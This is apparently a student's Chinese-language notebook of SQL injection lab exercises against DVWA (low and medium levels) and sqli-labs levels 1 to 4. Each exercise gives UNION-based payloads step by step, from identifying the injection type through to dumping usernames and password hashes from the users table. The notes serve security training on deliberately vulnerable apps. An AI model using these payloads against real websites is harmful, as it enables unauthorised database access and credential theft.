一、Dvwa low级别
1.判断sql注入漏洞类型为：’为边界的字符串型
2.判断列数和显示位：2列2个显示位 1' order by 2
3.确定数据库：1' union select 1,database()-- -
4.查看数据库有哪些表：1' union select 2,(select group_concat(table_name) from information_schema.tables where table_schema='dvwa')-- - 
5.查看对应表有哪些列：1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users')-- -
6.查看账号密码信息：1' union select 1,(select group_concat(concat_ws(0x7e,user,password))from users)-- -
二、dvwa medium级别
使用bp抓包查看源代码，源码有mysqli_real_escape_string()转义函数，所以不需添加边界符
1.判断sql注入漏洞类型为：有mysqli_real_escape_string()，为字符串型
2.判断列数和显示位：2列2个显示位 1' order by 2
3.查看数据库：1 union select 1,database()-- -
4.查看数据库有哪些表：-1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=(database()))-- -
5.查看对应表有哪些列：-1 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=(database()))-- -
6.查看账号密码信息：-1 union select 1,(select group_concat(concat_ws(0x7e,user,password))from users)-- - &Submit=Submit
三、dvwa medium级别
1.判断sql注入漏洞类型为：’为边界的字符串型 1' and 1=2 -- -
2.判断列数和显示位：2列2显示位
3.确定数据库：1' union select 1,database()-- -
4.查看数据库有哪些表：1' union select 2,(select group_concat(table_name) from information_schema.tables where table_schema='dvwa')-- - 
5.查看对应表有哪些列：1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users')-- -
6.查看账号密码信息：1' union select 1,(select group_concat(concat_ws(0x7e,user,password))from users)-- -
四、sql labs1
1.判断sql注入漏洞类型为：'l连接的字符串 id=1' and 1=2 -- -
2.判断列数和显示位：1' order by 3-- -
3.查看数据库：1' union select 1,2,database()-- -
4.查看数据库有哪些表：-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3-- -
5.查看对应表有哪些列：-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' ),3-- -
6.查看账号密码信息：-1' union select 1,(select group_concat(concat_ws(0x7e,username,password))from users),3-- -
五、sql labs2
1.判断sql注入漏洞类型为：数值型：id=1 and 1=2
2.判断列数和显示位：-1' order by 3-- -
3.查看数据库：0 union select 1,2,database() -- -
4.查看数据库有哪些表：0 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3-- -
5.查看对应表有哪些列：-1 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' ),3-- -
6.查看账号密码信息：-1 union select 1,(select group_concat(concat_ws(0x7e,username,password))from users),3-- -
六、sql labs3
1.判断sql注入漏洞类型为：')分割字符型：id=1')and 1=2
2.判断列数和显示位：-1') order by 3-- -
3.查看数据库：0') union select 1,2,database() -- -
4.查看数据库有哪些表：0') union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3-- -
5.查看对应表有哪些列：-1') union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' ),3-- -
6.查看账号密码信息：-1') union select 1,(select group_concat(concat_ws(0x7e,username,password))from users),3-- -
七、sql labs4
1.判断sql注入漏洞类型为：")分割字符型：id=1')) and 1=2
2.判断列数和显示位：-1") order by 3-- -
3.查看数据库：0") union select 1,2,database() -- -
4.查看数据库有哪些表：0") union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3-- -
5.查看对应表有哪些列：-1") union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' ),3-- -
6.查看账号密码信息：-1") union select 1,(select group_concat(concat_ws(0x7e,username,password))from users),3-- -
